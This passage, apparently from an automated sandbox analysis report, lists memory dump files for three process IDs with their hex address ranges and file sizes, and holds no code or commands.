                                                          • memory/2840-39-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmp
                                                            Filesize

                                                            5.9MB

                                                          • memory/2840-92-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmp
                                                            Filesize

                                                            1.1MB

                                                          • memory/2840-544-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmp
                                                            Filesize

                                                            1.1MB

                                                          • memory/2840-545-0x00007FFFF5E60000-0x00007FFFF5E6D000-memory.dmp
                                                            Filesize

                                                            52KB

                                                          • memory/2840-88-0x00007FFFF8450000-0x00007FFFF8464000-memory.dmp
                                                            Filesize

                                                            80KB

                                                          • memory/2840-87-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmp
                                                            Filesize

                                                            140KB

                                                          • memory/2840-546-0x00007FFFF36F0000-0x00007FFFF37BD000-memory.dmp
                                                            Filesize

                                                            820KB

                                                          • memory/2840-530-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmp
                                                            Filesize

                                                            5.9MB

                                                          • memory/2840-555-0x00007FFFF5E70000-0x00007FFFF5EA3000-memory.dmp
                                                            Filesize

                                                            204KB

                                                          • memory/2840-556-0x00007FFFE5EE0000-0x00007FFFE6402000-memory.dmp
                                                            Filesize

                                                            5.1MB

                                                          • memory/2840-554-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmp
                                                            Filesize

                                                            1.5MB

                                                          • memory/2840-553-0x00007FFFF8480000-0x00007FFFF8499000-memory.dmp
                                                            Filesize

                                                            100KB

                                                          • memory/2840-552-0x00007FFFF8470000-0x00007FFFF847D000-memory.dmp
                                                            Filesize

                                                            52KB

                                                          • memory/2840-551-0x00007FFFF84A0000-0x00007FFFF84C3000-memory.dmp
                                                            Filesize

                                                            140KB

                                                          • memory/2840-550-0x00007FFFF84D0000-0x00007FFFF84E9000-memory.dmp
                                                            Filesize

                                                            100KB

                                                          • memory/2840-549-0x00007FFFF84F0000-0x00007FFFF851D000-memory.dmp
                                                            Filesize

                                                            180KB

                                                          • memory/2840-548-0x00007FFFF8F90000-0x00007FFFF8F9F000-memory.dmp
                                                            Filesize

                                                            60KB

                                                          • memory/2840-547-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmp
                                                            Filesize

                                                            140KB

                                                          • memory/3144-101-0x00000242A5140000-0x00000242A5162000-memory.dmp
                                                            Filesize

                                                            136KB

                                                          • memory/3144-105-0x00000242A5340000-0x00000242A53B6000-memory.dmp
                                                            Filesize

                                                            472KB

                                                          • memory/4160-526-0x0000000000400000-0x000000000041F000-memory.dmp
                                                            Filesize

                                                            124KB

                                                          • memory/4160-524-0x0000000000400000-0x000000000041F000-memory.dmp
                                                            Filesize

                                                            124KB